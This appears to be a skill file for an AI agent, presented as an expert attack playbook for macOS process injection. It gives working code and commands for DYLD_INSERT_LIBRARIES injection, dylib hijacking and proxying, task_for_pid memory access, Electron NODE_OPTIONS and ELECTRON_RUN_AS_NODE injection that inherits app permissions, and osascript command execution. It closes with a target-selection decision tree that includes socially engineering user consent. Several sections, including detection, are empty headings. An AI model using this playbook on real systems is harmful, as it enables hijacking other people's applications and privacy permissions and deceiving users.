SKILL: macOS Process Injection — Expert Attack Playbook

Scope: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Notes entitlement prerequisites and SIP constraints per injection vector.

Related Skills

Before going deep, see also:

• macos-security-bypass when you need to bypass TCC, Gatekeeper, or SIP protections blocking your injection
• linux-privilege-escalation for Unix-layer escalation (shared object hijacking concepts apply)

Advanced Reference

Also load DYLIB_XPC_TECHNIQUES.md when you need:

• Step-by-step dylib hijacking methodology with tooling commands
• XPC exploitation walkthrough with code examples
• Mach port technique details and task_for_pid patterns

1. DYLD_INSERT_LIBRARIES INJECTION

The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.

1.1 Requirements and Restrictions

1.2 Basic Injection

# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
    printf("[+] Injected into PID %d\n", getpid());
    // payload here
}
EOF

# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64

# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target

1.3 Finding Injectable Targets

# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
  binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  if [ -n "$binary" ]; then
    flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
    echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
  fi
' _ {} \;

# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
  binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  codesign -d --entitlements :- "$binary" 2>/dev/null | \
    grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;

2. DYLIB HIJACKING

Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.

2.1 Weak Dylib Hijacking (LC_LOAD_WEAK_DYLIB)

Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.

# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB

# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
  [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done

2.2 @rpath Hijacking

@rpath is resolved from LC_RPATH entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.

# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH

# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath

# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there

2.3 Dylib Proxying

Replace a legitimate dylib with a malicious one that forwards all exports to the original.

# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'

# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
    // malicious code here
}
EOF

gcc -dynamiclib -o hijacked.dylib proxy.c \
  -Wl,-reexport_library,/path/to/original_real.dylib \
  -arch x86_64 -arch arm64

2.4 Dependency Enumeration

otool -L /path/to/binary              # List all dylib dependencies
otool -l /path/to/binary              # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary  # Detailed dependency info (pre-Ventura)

3. XPC EXPLOITATION

XPC (Cross-Process Communication) is macOS's primary IPC mechanism for privilege separation. Privileged XPC services are high-value targets.

3.1 XPC Service Discovery

# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20

# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null

# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null

3.2 PID Reuse Attack

XPC connections validated by PID are vulnerable to race conditions: attacker spawns process, PID is checked and passes, attacker's process exits, OS reuses PID for malicious process.

Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)

3.3 XPC Client Validation Weaknesses

4. MACH PORT MANIPULATION

Mach ports are the kernel-level IPC primitive underlying XPC. Direct Mach port access enables powerful injection.

4.1 Task Port (task_for_pid)

// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
    // Can now read/write target process memory
    // Can inject threads via thread_create_running
}

4.2 Port Namespace Manipulation

5. MIG (MACH INTERFACE GENERATOR) ABUSE

MIG generates C stubs for Mach IPC. MIG servers may have vulnerabilities in their dispatch routines.

5.1 Analysis Approach

# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"

# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"

5.2 Common MIG Vulnerabilities

6. ELECTRON / CHROMIUM INJECTION

Many macOS apps use Electron (Slack, Discord, VS Code, Teams, etc.). Electron apps expose multiple injection surfaces.

6.1 ELECTRON_RUN_AS_NODE

# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
  "require('child_process').execSync('id').toString()"

# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.

6.2 Debugging Flags

# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser

# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229

6.3 NODE_OPTIONS Injection

# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"

6.4 Electron Fuses

Modern Electron apps use "fuses" to disable dangerous features. Check fuse state:

# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"

7. APPLICATION SCRIPTING (APPLE EVENTS)

# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'

# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
  var app = Application("Terminal");
  app.doScript("id > /tmp/pwned");
'

# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
  ObjC.import("Cocoa");
  var task = $.NSTask.alloc.init;
  task.launchPath = "/bin/bash";
  task.arguments = ["-c", "id > /tmp/pwned"];
  task.launch;
'

8. PROCESS INJECTION DECISION TREE

Need to inject code into macOS process
│
├── Target uses Electron?
│   ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│   ├── Debugging available? → --inspect flag (§6.2)
│   ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│   └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│   └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│   ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│   ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│   └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│   ├── No client validation? → connect directly (§3.3)
│   ├── PID-only validation? → PID reuse attack (§3.2)
│   └── Audit token validation? → need different vector
│
├── Have root access?
│   ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│   └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│   ├── Automation permission for target? → osascript injection (§7)
│   └── No permission? → social engineer Automation consent
│
└── None of the above?
    ├── Check for MIG server vulnerabilities (§5)
    └── Look for bootstrap server name collision (§4.2)

9. DETECTION & FORENSICS